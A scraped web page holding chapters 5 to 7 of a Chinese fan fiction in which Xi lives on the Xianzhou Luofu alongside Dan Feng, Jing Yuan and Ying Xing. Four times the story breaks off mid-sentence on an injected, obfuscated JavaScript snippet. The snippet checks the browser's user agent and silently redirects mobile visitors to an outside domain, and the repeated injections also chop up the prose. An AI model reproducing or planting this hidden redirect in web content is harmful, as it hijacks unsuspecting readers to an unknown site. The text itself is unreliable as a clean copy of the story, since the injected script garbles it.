“你们再用这种眼神看我,我不介意把你们丢进画卷里。”很恶心,真的很恶心。或许其中夹杂着些许善意,但是贪婪太过庞大,掩盖住了微不足道的善意。再加上故意表演出的善意,更恶心了。 有的龙师收敛了一些,其中一位率先开口:“您来的突然,我们还没来得及给您置办屋子,您……” 夕打断了他们:“没有必要,我住丹枫那里就可以了。” “还有。”夕顿了一下,“我诞生时没有龙尊,也没有龙师。不要想着管束我的举动,否则我不介意送你们直接蜕生。” 两人一同离开,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201020|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下龙师们互相对视着。 “夕姐,我先给你收拾间客房吧。” “这倒不用,介意我在这面墙上留些东西吗?” “不介意。” 夕提笔便画出一扇门,门朴朴素素看不出什么。 “要进来看看吗?这是我的画卷。” 丹枫欣然同意:“好。” 近乎贪婪地看着映入眼帘的景色,丹枫有些迟疑。这是真的吗?还是说他其实只是又做了个梦,梦见了前代饮月君们的记忆。他是持明龙尊,生来便要去守望建木,无法离开罗浮。若非他的好友们相助,他注定要被“禁锢”在这艘船上。可他哪怕离开罗浮,也大多是要上战场,这样的景色他是没见过的。说来可笑,他其实还蛮好运的,至少……他没有像某几位饮月君一样连鳞渊境都未踏出过。 脑海里的声音都变了个调,硬生生从数落和谩骂变成了心疼。夕垂下眸子,更坚定了自己对于这些声音来处的想法。她伸出手,就这么把丹枫拉入了画卷。 溪水自山顶留下,乱石点缀其旁,高大的树木拔地而起,野花肆意地盛开着,白云似是调皮地拂过山峰……他连眨眨眼睛都舍不得,生怕眼前的一切转眼就没了。 “回神。” “想看的话什么时候来都可以。现在,让我给你做个检查。” 依依不舍地收回自己地目光,丹枫点了点头:“好。” 力量没入其中的一刹那夕就感觉到了不对劲,分明自己也记不清这是怎么一回事,可她就是莫名知道:“你体内的不朽……少了一部分。” “确实如此,应当现在的每位持明都是如此。”丹枫了然,他的这位姐姐沉睡至现在,自然也不知道繁育撕裂不朽这件事,“虫皇塔伊兹育罗斯撕裂了不朽的命途,成为繁育的星神,因此持明失去了繁衍的能力,有了轮回蜕生的习性。” 夕沉默了一会儿,因为那些声音又开始了,他们在痛斥繁育的星神。 “你身上的不朽之力更浓厚些,你和其他持明有什么不同吗?” “我……天生能使用云吟法术算吗?”丹枫知道夕指的是除了龙相以外的部分。 夕陷入了思考:“那些记忆和情感……还有天生的云吟法术,你的蜕生和其他持明的蜕生并不相同。你的蜕生,更接近于不朽的命途。” “抱歉,我没有办法帮到你。” “无碍。”丹枫摇摇头表示并不介意,他不知道从什么时候开始已经习惯了那些来自过去的记忆。 夕轻叹了一口气。她活了千年之久,从最初诞生的懵懵懂懂到如今的阅尽世间百态,有的时候活得久也不见得是件好事,她还记得黎,记得阮先生,可他们都已经不在了。想想吧,历代饮月君的记忆多么长,却全部都要压在一个人的身上,甚至还夹带着旧日的情绪。 她心软了:“若是想看些什么风景,大可来我这画卷中看看,要是有什么难处,来画卷中寻我便是。” “好。”丹枫就又沉浸在风景中了。 5. 在崩铁的第5天 腾骁出于不放心还是往鳞渊境走了几回,但是没过几个月就让自己和太卜都放下了那颗心。这对生命长达上百年的长生种而言是一件极为不可思议的事情,但事实确实如此。 腾骁着实是没见过多少像夕这样的人。每一回他前去拜访,不管他是提前下拜帖,还是突然拜访,这位龙女都是在画里待着,极少出门。他也去画里和夕聊过,见过那画中的万千景象,好像也就懂了这位龙女为何如此。与其说夕会刻意引起仙舟内乱,倒不如说夕对仙舟各项事宜毫无兴趣——持明内部事务除外。 总之,腾骁的举动着实引起了作为云骑骁卫的景元的好奇,趁着一日休假,他就叫上了应星一道去鳞渊境。 “你们怎么来了?”丹枫倒上茶,看向对面的两人。 “这不是好奇丹枫哥你这几天在做什么嘛!”景元倒是一点都不扭捏,拿起茶杯牛嚼牡丹似的一饮而尽。 应星捧着茶杯抿了一口:“我陪景元来的。” “说是好奇我,倒不如说是好奇夕姐吧。”丹枫摇了摇头,对这个小了自己好些岁数的好友有些无奈,“夕姐在画卷里呢,我替你们去问问。” “画卷?”景元和应星一起说了出来,所思所想都有些相同,怎么个在画卷里面? 丹枫带着两个人从会客室到了书房,抬手在一扇门上敲了敲:“夕姐,我有两个朋友想来见你。” “进来吧。”夕的声音从门后传来。 景元凑在门旁看了又看,看上去这扇门就是一扇真正的门,但是摸上去这就只是画上去的门而已。这是怎么做到的?若是在和丰饶民的战斗中能有这么一扇门,那多好啊,再也不用担心运输问题了。 随着门的打开,应星也开始目瞪口呆了:“丹枫,你这位姐姐莫非精通机关之术?这是怎……”他说不出话来了,因为门后是高山,是悬崖峭壁。再高端的机关也做不到这样啊!作为现任“百冶”的应星敢发誓,别说仙舟了,就是全宇宙都没有这样的传送技术! “夕姐。”丹枫看向坐在悬崖上看海的夕。 “来了。” 说不出这位龙女是怎么做到的,反正景元没看出来。看上去几百米的距离,夕过来却并没有过去多少时间。 “这位龙女,您这是怎么做到的?”应星一下子就凑了上去,眼睛简直在发光。 夕并不讨厌这样的人,她擅长绘画,在这一道也几乎是走到了极致。与她而言,应星的眼神和那些追求着绘画的画师并没有什么区别。唯一的区别也只是追求的东西不大相同。 “这并不是你所知的机关术。”夕觉得还是亲身试试最明显,“闭上眼睛。” 只是起笔在空中画了几下,几块待在盘子上的糕点便凭空出现。 “别睁眼,拿一个,尝尝。” 应星跟着丹枫的指引摸了上去,但他什么都没碰到。 景元惊悚地看着应星的手从盘子和糕点中穿过,他伸手取了一块,香香甜甜,鸣藕糕都要自愧不如。电闪雷鸣之间他想通了所有,他瞪大了眼睛:“这些……全都是画出来的!” “对。” “睁开眼吧。”夕在应星睁眼后又画了一盘子点心。 一盘看不见也摸不着,一盘能摸能看能吃。应星嚼嚼糕点,他发现甚至还有饱腹感! “是幻术?”景元提问道。 夕摇了摇头:“不是,只是画出来了而已。如果一定要给一个解释的话,这是我的权能。” 三个人愣在了当场。丹枫之前没问是因为他觉得这是属于夕的法术,这时得知这是权柄可是直接吓了一跳。难不成这是不朽权柄的一部分? “这并非不朽的力量,是我的权能。”夕的补充让几个人更茫然了。夕也没觉得他们问这些有什么不妥,对她来说,司岁台那里甚至一直对他们兄弟姐妹的权能有研究,出于好奇或是出于防备,想要了解着实是正常。 夕并不吝啬说些她自己的法术,只是她也没什么理论能力可以给别人讲明白罢了。 “不过若是如此的话,我大概知道丹枫你为什么最近偷溜出来的次数明显减少了。”应星端着茶杯吃着糕点,再看看眼前的景色,这样的美好他也喜欢。丹枫又不被允许长离罗浮,如今有机会看看外界的景象,那当然会喜不自胜减少出门了。 景元满足了自己的好奇心,叼着根草说:“对啊……我来的时候龙师跟看祸害似的看我们,生怕我们再把丹枫哥带坏出门。” “那些龙师……罢了。”夕皱了皱眉头。她真的一点都不喜欢那些家伙,之前他们来拜访她,确实是以后辈的身份来的,但是话里话外都是想知道她怎么活了这么久,又是否想有个孩子什么的,着实讨厌。 面对持明的内部事务,景元和应星默契地选择了闭嘴。 待了些许时间,两人离开了。 “夕姐,现在去看看吗?” “去。” 丹枫这些日子时常出入画卷,可不只是单纯为了看风景。夕和他讲了画卷中的海,他也亲自伸手抚摸过那海水,他差一点没忍住整个人泡进去。 用夕的话说,那就是画里的海有着完整的不朽,而丹枫身上不完全的不朽让他本能地想融入进去。 两人早就做好了准备,等着今天去海下一探究竟,若不是景元和应星来访,两人此刻应当都在海下了。 海水像是抚摸自己的孩子一般接纳了他们,就好像早已知道他们要去做什么似的,水流自动把他们送到了一道屏障面前。分明应当是昏暗无光的海底却明亮如陆上白昼,无形的屏障挡住了他们,也挡住了或许会有的恶徒。 夕能够感觉到有一股无形的力量拂过她的身周,好像在确认些什么。脑海中的声音难得安静,似有叹息,似有感慨,他们在说幸亏在这里提前做了布置。 什么布置?她警觉地感知着结界,只觉得不可思议。不朽的力量和她的权能混在了一起,从这浓度来看,这绝对她亲手布置。也就是说海水是她画出来的,但是这海里的东西不是她画出来的,也不是她从外界带进来的,这是她未曾谋面的同族们准备的。实在是有些不敢相信,以她的性子会允许旁人在她的画卷里上下其手?甚至自己还帮了忙? 抬腿走入屏障内部,眼前的一切快要刺痛了丹枫的双眼——数不清的持明卵此刻都安静地躺在这里。他能够感受到,这些持明卵都是活的。活生生的,全都是可以生出小持明的持明卵!现任持明族的尊长,常年担忧持明族延续的饮月君简直要喜极而泣, 夕也有些茫然,她可以清晰地感知到这些持明卵中的不朽虽然微弱,但是全都是完整的,翻译一下就是从这些卵中诞生的持明全部都拥有繁育能力。结合着脑海中声音的说法就是这些卵被提前放进来,用她的权能遮掩住了外界繁育撕裂不朽的影响。这是怎么做到的?她持有这份权能,她还能不知道这些权能能做些什么?她抿着嘴跟在丹枫身后,脑子乱糟糟的。 两只持明蹑手蹑脚地从持明卵中经过,生怕吵醒了这些沉睡的孩子。行过大半距离,又是一道屏障,只是这次的屏障不再拥有遮掩的能力,只是一道透明的检测屏障。 老东西!是岁!不、不是那老东西……冷静些,夕。那老东西怎么会出现在自己的画里啊,倘若出现了,自己也没有可能能够站在这里了。没有理会脑海中声音的兴奋,夕抬眼看过去,眼前的这头巨龙浑身上下像是被不朽腌入味了一样,静静沉睡在水中。最令她感到不解的,是巨龙内部的权能,这里不仅有来自她的权能,还有些许来自重岳。夕想不明白,但这并不妨碍她感知到安心。大哥不可能看着她胡闹,能混进来这些权能,那相比这件事是得了大哥应允的。 是某种保护措施,保护的对象就是这些持明卵。夕为这头巨龙下了定义。 “走吧,没必要再看下去了。”夕转身离去。 丹枫小心翼翼地触碰一枚持明卵:“这些卵怎么办?” “不要动他们。如果他们离开画卷,他们身上的不朽瞬间就会被撕裂。他们既然把这些持明卵都放到了这里,想必也是早就知道了吧。”夕摇了摇头,“等到什么时候尘埃落地,他们就可以出去,以不朽龙裔的身份出生了。” 丹枫一步三回头地跟着夕离开了画卷。 “夕姐!”他的眼中含光,“夕姐你要不要去看看建木?”太好了!持明一族有救了!上千年的时间都等下来了,现在只是再等等而已,有什么不能等的呢?但是在此之前,他要去拜访一下其余的龙尊。这么多持明卵,光是罗浮上的持明是照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201021|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过来的。 “你想让我替你守一段时间?” “是。我想去问问其他四位龙尊。” “罢了,我去看看。”夕叹了口气,不去理会脑子里吵着要拆封印的声音。 两人步行至海旁。 没有对鳞渊境里的其余人做出什么动作,他们两个对身后的人群乐见其成。无论夕究竟能不能分海守望建木,这件事并没有什么掩盖的必要,倒不如说被越多仙舟人知道越好。不然丹枫说什么都没可能去其他仙舟上拜访其余四位龙尊。 夕对使用不朽的力量还不是很熟练,但是她早在这数个月的力量使用中感到这和动用权能有异曲同工之妙。不,其实也不是一定要用不朽的力量来分海,毕竟……除非有哪位令使亲自来看,不然谁看得出来用的是什么力量啊? 放在此刻站在鳞渊境的其他人眼里,那就是黑发的龙女举起手中的剑,墨迹随着长剑的挥舞向着前方挥洒而去,海水就随着墨分成两半。 这感觉倒是奇妙的很。先前头一回大举使用不朽之力还是和丰饶民那一战,奈何稍微有些失去理智让她对那时的感触不深。此时神智清醒,她便一清二楚地感受到这有些许奇异的感受,这些不朽之力和她的权能本为两物,只是在她身上相处得久了也就习惯融合了。 随着丹枫步入宫殿,没等丹枫说些什么和封印有关的事情,夕先伸出手来。浓郁的力量在她手上凝聚起来,从无所形态,到气态,再到液态,液态的力量顺着她的手臂滴落到地面上,渗入地下,渗透封印,缓慢补充着封印所需的不朽之力。 丹枫瞪着封印愣是一个字都没说出来。 “如此?”夕侧过脑袋看向沉默的丹枫。 丹枫点了点头,他被吓到了。他感知着补充上力量欢呼雀跃的封印和被锁得死死的建木真是一句话都说不出来。 夕有些疑惑,但她没有说出来。 只是从海水中离开,重新站在地面上时,眼前的一幕才让两人理解到他们到底干了什么惊世骇俗的事情。 罗浮仙舟现任的太卜和剑首正站在海岸上。 “你们……”太卜的声音很疲惫,他卜到鳞渊境有异象,对仙舟有益,还没等他做些什么呢,刚出了太卜司准备往神策府走,就看见剑首往鳞渊境方向跑。 他还能怎么办?只能是边跑边说自己的占卜结果了啊……累,真的不仅是身体上的疲惫,更是心灵上的疲惫。他其实在这位龙女来之前就卜到有贵客上门,但是时间紧急只来得及去了趟神策府,为什么啊!一关乎到这位龙女,占卜完了事情就马上来…… 夕看看一脸戒备的镜流,想明白了其中关窍:“我动用了不朽的力量修复封印。” 丹枫也想过来了,点头作证。 镜流陷入了沉思:“你们……平时动静都这么大吗?”她隔着大半个仙舟就感知到了不对劲,还以为建木出什么事了,慌里慌张地就往这边跑,如果不是太卜说此事对仙舟无害她就要率军直接闯进去了。往日鳞渊境也没有这么大阵仗啊? “夕姐第一次尝试封印,没掌握好力度。”丹枫有些无奈。 “下回如果可以,还是动静尽量小些吧。”镜流指挥着云骑离开,然后又回头看向他们,“不说别的,这么强大的力量这么爆发起来……”着实是太吓人。 夕收回自己画出来的宫殿分海图,伴着墨色融入海水,一切重归宁静。 “镜流,我们跟你一起去见将军。”丹枫见海面重归原样,也就带着夕一道跟上了镜流。 “什么事?和你们重新折腾封印有关?” “对。我打算去其他仙舟一趟。” “丹枫?” “你没听错。” 夕看看镜流又看看丹枫,最终忍无可忍在脑海里喊:“你们谁再接着吵我就把谁关画卷里!你们弗要闹了!”她受够了!不就是和其他种族交朋友吗!至于吗!每次丹枫和朋友见面,她脑子里的同族们都要大闹一场,很烦!现在都想管她来了,更烦了! 感受到脑海中的一片安静,夕满意地跟上了镜流的步伐。她钻研了几个月,可算是找到了分离他们的方法,见了那些持明卵,她也明悟了他们的身体在哪里,谁闹她就把谁塞回去过上等不知道多久才出生的日子! 6. 在崩铁的第6天 腾骁听镜流讲述了事情的起因经过结果,又听丹枫说了自己的想法,他扶着桌子只觉得眼前发黑脑袋发晕,这都是什么事啊!他好不容易休息一天,刚闭上眼睛就感觉到鳞渊境方向有力量爆发开来。他还以为建木出了什么问题。要不是太卜用玉兆发了信息过来,他就要带云骑冲过去了。 他头疼地揉揉太阳穴,满脸无奈:“不说别的,丹枫你倘若踏出罗浮,光是安全这方面就是个大问题。” 镜流赞同地点点头:“太显眼了。”哪怕在云上五骁声名鹊起之前,丹枫就足够显眼。每次在与丰饶民作战的时候,丹枫所处的方位都是最受敌人关注的。并且盯着持明一族的丰饶民并不少,他们没办法用丰饶的力量得到自己的想要的东西,就盯上了不朽的龙裔。 腾骁知道向来沉稳的丹枫这么干必定有着非常重要的原因,可是……龙尊出行事关重大,如今又时逢战事,需要关注的东西太多了,着实不是什么好日子适合让丹枫出罗浮。更不要提持明内部的那些龙师,若是丹枫离开罗浮,他们不得集体到神策府外面嚎啊? 头疼,也没听闻其他仙舟上的龙师有这么作死的啊?等会儿?丹枫他肯定没和龙师们说!不然他怎么可能到得了神策府!腾骁扶着额头只觉得头疼,好极了,龙师不知道这件事。要是出门走走散心说不准还行,可是……如果是去其他四艘仙舟,至少要用上半年,怎么可能瞒得了那么久啊? 夕默不作声地取出画笔,泼墨作画,为丹枫换了一身新皮囊。抹去龙角龙尾,拉低身高,换去瞳孔颜色,又换掉一张脸,最后再换上一身罗浮再平常不过的衣裳,任谁都看不出这是持明龙尊饮月君。 “若是如此呢。”软糯的语调中蕴藏的确是坚定,“我还可以画出一个‘丹枫’,只要不说出去,没有人会知道丹枫离开了罗浮。” 腾骁止住了话头,直愣愣地看着丹枫的新模样。他撇过头去看自己的亲信,问:“你能看出来不同吗?” 亲信迷茫地摇摇头,他看不出来。完全没有来自命途的力量,他什么都看不出来。如果不是他亲眼看着饮月君变成了如此模样,他绝对不会相信眼前的人是持明龙尊。 骁勇善战的罗浮将军从来没见过这样的能力,他沉下心来细细感知,却什么都没有感知到。他只能感受到在画上去的那一刻有着什么波动,但在这皮囊画好之后,他什么都感受不到。除了确信这力量和他接触过的命途力量没有相似的以外什么都感觉不出来。 “这是不朽……?”可他丝毫没有感知到来自命途的力量啊,丹枫动用龙力时的力量波动也与此截然不同。 “这是我的权能,与不朽无关。”夕摇摇头,纠结着如何说明,他们应当是很难理解这是什么意思的。刚想开口说些什么,她就直觉到这部分内容要是再深入说下去就又要被星神请去喝茶,来自异世界的“神明”代理人垂下眸子,换了种说法,“你们可以理解为过去有神明陨落,祂的碎片被不朽拿去,我从中诞生。” “更多的我无法再告诉你们,牵扯的东西过多也太复杂,不应当是你们知晓的东西。” 室内一片寂静。 意志力强劲到在无数条世界线中以自身意志强行挣脱魔阴身的镜流只觉得浑身发凉,像是有什么存在正盯着他们,她强行转移了话题:“可是声音同样是个问题。丰饶民那边的技术发展的很快,辨认声音并不难。” “声音……”夕沉默了片刻,“我想变声器可以解决这个问题。” “如果还担心安全……”夕忍痛把手里的画卷也给了丹枫,“你可以躲进来。” “除非得到我的允许,不然没有人可以随意进出我的画卷。” “停停停停停!”腾骁制止了他们,“既然你们这么坚定,也不是不能破一次例。等我稍微做些布置,你们就出发。”刚才怕不是帝弓司命在盯着他们吧……无机质的目光从不知何处看过来,太惊悚了。 夕果断收回了画卷。 一个月后,丹枫、景元和应星一道站在了夕的面前,他们将一起出发。景元被腾骁叫出去当护卫,应星则要去交流技术。原本应星离开罗浮不应当如此麻烦,只是既然有这次机会,那就索性让他们一同出发。 “站好。”夕画出来三个和他们长得一模一样的人,暂时替了他们不在时的身份。 景元稀奇地捏捏“自己”的脸,是温热的,他又摸摸“自己”的手腕,也有脉搏,这和真人一模一样!太神奇了!也不知道这到底是哪位不知明星神的命途。没错,被视作下任罗浮将军的景元被腾骁和镜流告知了一部分“真相”。 “夕姐,这个遇火会干掉吗?”经过一段时日的相处,景元早就改了口。夕用凭空出现的墨画出了凭空出现的人,从没见过这种能力的他好奇极了。 “不会,放心好了。”夕开门放画出来的“景元”和“应星”离开,镜流和白珩正在外面等着他们。接下来的半年内,“景元”会装出被镜流压着特训的模样,而“应星”则会装作在家里闭门苦思造金人的样子。 夕展开画卷把三个人装了进去,出门交给白珩。白珩会负责带着画卷以探亲的名义去往其余四艘仙舟,而他们三个则在画卷里等到了地方再出去。 看看自己画出来的丹枫,夕设置好活动模式,下了他接下来半年内闭关修炼的命令就放他出了门。想来龙师再怎么胡闹都不会选择打扰丹枫闭关修炼的。她同时也给这三个造物设置了特别关注,保证会在他们出事的第一时刻出手保下他们。 关门后进入画卷,夕第一眼就看见了对着一只阿咬左戳一下右戳一下的景元。 小躁在景元身旁焦急地转着圈,匕现躲在盛怒身后说什么都不出来,偷闲把脑袋藏起来假装自己是块石头,自在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201022|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 享受着丹枫的抚摸……好一片混乱。夕想不通她的造物们怎么全都跑了出来。 她木着一张脸把即将撞到一起的两只得意分开,又劈手夺过应星手里的一只得意放到一边。 “会爆炸的。”把得意们分好类,夕叫过自在嘱咐它看着点得意们。 “夕姐!”景元抬起头,“这是那个星球的生物啊?”他的眼神亮晶晶的,一看就知道这是在打什么主意。 “这是我的造物,其他地方是没有的。”夕无奈地抱起这只阿咬,放它回了其他阿咬的身旁,“我不建议你养阿咬。远离同伴的阿咬是会孤独的。”除非你愿意养上一大群。 又叫过匕现敲敲脑袋作为惩罚,夕才来得及回过头看景元,她愣了一会儿才说道:“要是你喜欢,把你身上的妒抱走也不是不行。”灰色身体红眼睛的妒早就在她转身的时候缠到了景元身上,现在正吼着威胁偷闲呢。 只能说她的造物们都太有个性了。夕看向景元这个罪魁祸首,无言地摇摇头。 “造物……?”景元突然就觉得小可爱们一点都不可爱了。 夕点点头:“是我的权能所造。” “基本上都是很可爱的。”毫不留情地把妒拽下来,夕摸摸妒的脑袋当作安慰。 墨魑们摇头摆脑地离开了,景元活动活动腿脚站起身。 “我给你们换身皮囊。”夕起笔画好,取来镜子让他们看,“熟悉熟悉自己现在的模样。” 应星新奇地伸手摸摸自己的头发,他是长发,夕给他画了一头短发,此刻的他无论怎么摸都摸不着自己原来的头发。 “夕姐,这样就可以了。”景元点点头并接住了树上掉下来的一只阿咬。 夕顺着阿咬掉落下来的方向看去,很多只阿咬攀在树上跃跃欲试。她谨慎地选择了后退几步,果不其然地看到阿咬们争先恐后地掉下来,收获了一只被阿咬们埋在底下的景元。 “墨魑们都很喜欢你。”夕曾经玩这款游戏时也了解到过景元吸引小动物的体质,只是她没料到这体质对她的造物们也管用。嗯……希望景元在居住在画卷的日子里墨魑们可以安静些,不说别的,至少别打起来。说的就是你!匕现!夕抬手给了匕现脑袋一下,示意自在把同伴都带走。 自在蹭蹭夕的手,像是威胁一样冲着阿咬们喊了几嗓子,墨魑们这才不情不愿地跟着自在离开。 “你们这些时日就住在这里吧,有什么需要的这里都有。”夕指指山下的镇子,“镇子边缘那三栋连着的房子就是你们的。” 夕等丹枫三人去了镇子便离开了。 丹枫将罗浮龙尊的位置暂时交给了她,她还有很多事情要做。 本质上还是那个避世社恐宅女的夕对这些事务并不喜欢,但是既然答应了那就要完成,若是她一心只顾自己而不管答应的事情,哪怕是令也会说她的吧。 7. 在崩铁的第7天 严格意义上来讲,持明内部的事务处理起来并不困难。持明哪怕再怎么自成一体,也终归是仙舟联盟的一部分,因此像是持明和仙舟外部的贸易往来问题之类的事务也不应当呈上持明龙尊的案上,它们更适合出现在地衡司。 夕看得很明白,持明一族说得好听叫自矜身份,说得不好听就叫高傲蛮横。自恃为不朽龙裔,看不上仙舟本地人和狐人,更不要提看得上外来的化外民了。 她对这种看法嗤之以鼻。 持明有什么可高傲的?说到底不朽已经陨落了,持明连繁衍生息都是个大问题,甚至过去为求自保来到仙舟,这样还要端着个大架子?普通的持明倒还好,只是年幼时就被龙师灌输这些概念,因此三观不太正罢了,出去在鳞渊境外面生活一段时间这观念也会自然而然消失。龙师倒是不同寻常,从雨别那一代开始代代相传着这些东西,其中大部分都还抱着这腐朽的想法。 夕可不惯着他们。 论辈分她是最初的持明之一,如果拿辈分说话,这里没有谁压得了她。 因此夕也没通知龙师,就把一些不应当是持明龙尊插手的事情全部交了出去。 龙师们得到消息的时候已经就晚了,夕已经和腾骁顺利地完成了权力交接。他们气得不得了,直说要给这位临时上任的龙尊一个教训。 哪怕亲眼见识过这位龙女开海的模样,他们也依然不认为这位的力量能有多强。在最多只是命途行者的他们眼里,一个连跑步都会气喘吁吁的家伙怎么可能有强大的武力?不过是一个只凭着一些持明法术装神弄鬼的家伙而已。 常年待在画卷中大门不迈二门不出的大画家虽然在体质上稍逊于人,但是夕并不是普通人。画卷在龙师看来不过是和云吟法术类似的持明法术,殊不知这只不过是夕将自身权能用在了绘画上。 于是被派来给夕教训的刺客全部都被装进了画卷当中。 夕可一点也不客气。既然你们自恃身份还嫌弃仙舟,那我就送你们去画卷里的汤海住几天。她画卷中的汤海里可满是异兽,被她特意加了几笔的它们战斗力甚至要比真正的异兽强上几分。 刺客一波又一波地去,一波又一波地了无音讯。 龙师们看着夕毫发无伤的模样选择了暂避锋芒。既然无法对这位龙女下手,那就等丹枫出关。丹枫再怎么离经叛道也是他们教导长大的龙尊,他们控制不了夕,难不成还控制不了丹枫?更何况夕没借此对他们发难,想必也是没什么证据,也没什么要和他们翻脸的想法。不如就此暂时沉寂。 面对诡异的平静,夕暂时并没有多做些什么,她只是去画卷中和持明刺客好好谈了一场。 龙师派来的刺客都是持明族中被他们遴选出的“幸运儿”。他们或是自小被龙师带走单独培养,或是中途被选中远离多数同胞。但是无一例外的,他们都被龙师的想法洗脑了。龙师真正想要什么呢?有的期盼永生,有的渴求力量,有的想要权势。这些真相……“幸运儿”们都不知道,他们只知道那些龙师们用于掩饰的表面目的。 “这里是汤海,持明故土。”这么说倒也没什么问题,毕竟画这片海的时候,汤海的海水也成了她作画的颜料。也就是说,画出的海水里混杂着汤海海水。 没有理会刺客们诧异的眼神,夕平静地看着他们:“不知道龙师是否和你们讲过我的身份。我来自汤海,是不朽最初的龙裔之一。” 她稍微抬高手中长剑,剑锋上闪烁着青绿色的光芒。只是缓缓挥舞几下,或者说是在空中画了几笔,完全不符合正常生命进化应有模样的异兽便还原了。改造生命,这样的力量并非寻常人所拥有。而这刚巧与最初来至罗浮的持明的记录相对应——最初的不朽龙裔就拥有着这样的能力。 良久的沉默,没有一个持明说话。 “晔奚说,你是逃难来的其他龙裔的龙尊。”最先开口的是一个年龄稍小的持明,他的脸上满是难以置信,“为什么?要骗我们?”既然这一次是欺骗,那么之前是不是有更多的欺骗? “你们信了。”夕的声音极为肯定。 “他们说……他们会挽救持明一族,解决掉持明的危机。”更多的持明开口了,“他们说他们可以解决持明繁衍生息的问题。” “告诉我,龙师都干了些什么。”没有理会脑海中叹息的声音,夕面若寒霜。 有持明慌乱地扑上前去,着急忙慌想要抓住夕的衣服:“您、您一定要救救他们!晔奚他们在偷窃濒临蜕生的持明的血!”那些将要蜕生的同胞!他们要是其实并非自愿……他们这是作了多大的孽! “还有持明卵!我看见涛然带着化外民进了海里!”那些正在蜕生的同胞该不会早已遭了毒手? 夕的脑海里有一根弦断了。 暂且栖息在夕脑海中的持明残魂们本就神智不甚清晰,这次又突然得知了在持明内部职责重要的龙师做出大逆不道之事,本就一个比一个疯狂,此回更是又一次强行要与夕争夺身体的控制权。他们此刻只想要那些人付出代价。 “够了!”夕难道厉声说话,她镇住被怒愤暴躁的残魂,又提剑绘出一方卷轴,不朽的力量逐渐代替剑锋上的权能,一点点引渡脑海中的残魂来到卷轴之上。 “我问你们……” “你是谁?” 他们十二个兄弟姐妹因悟得“我是谁?”这个问题而诞生于世,有了自己的模样。在一片混沌的黑暗中除了你自己以外什么都没有,只有一个声音在问“你是谁?”。旧日的记忆此刻却如同熠熠辉光,夕展开卷轴,一个个提问,没有一点不耐烦。她也曾经历过分不清自己的那段时刻,她知道残魂此时遭遇的究竟是怎样的折磨。 这些她遗失记忆中的同胞们,身体化作持明卵长眠于她的画卷,魂魄本应好好待在那些卵中静待着下次出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201023|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生。但是因为担忧,因为思念,,因为不舍,他们中的一部分不知道什么时候出了画卷待到了她的身上。 她的身份、记忆乃至权能无时无刻在影响着这些持明残魂,巨兽的碎片,哪怕只是碎片的力量,哪里是这些残魂能够接受得了的?他们因此混淆了自己的记忆和过去。 让她来帮帮这些同胞吧,帮帮他们重新认清楚自己是谁。 卷轴上一个个人影都带着虚幻的龙角龙尾,看不清脸。 他们听见一个柔和的女声不厌其烦地一遍遍询问着他们。 然后是不懂事小崽子们的声音也加入了进来。 他们都在询问着:“你是谁?” “我是……夕?” “不对!我是谁?” “我是谁我是谁我是谁我是谁!我是……谁?” 卷轴上堪称一片群魔乱舞,身影们或抱头蹲下或扶额站立,面孔看不清却能看出满脸的狰狞,或嘶吼或咆哮。 “你们是不朽星神的龙裔,是这个世界的孩子,那么,你是谁?”夕点明他们最根本的起源,再次询问。 尽管之前什么都不了解什么都不知道,可是从夕和卷轴中人影的话语中他们可以知道卷轴中的人影都是谁,所以原本的持明刺客们此刻也毫不犹豫地帮起忙来。 “你们是我们的前辈,是不朽的龙裔!” “前辈,你们是不朽的龙裔,是我们血脉的起源!” “是我们的先祖。” 夕取出细笔,不朽的力量化作墨汁一点点滴落在卷轴上。 “我是……x……不,我是秋月。” “我是洵奚。” 一道道声音自卷轴中响起,五彩斑斓的黑色墨汁落在卷轴上,游走在不同的持明之间,最终停留在他们的脸上,随着一个又一个名字被念出,墨汁变成了一张张不同的面孔。 “又给你添麻烦了,夕姐。”秋月无奈地笑着,“真的是好久不见了。” 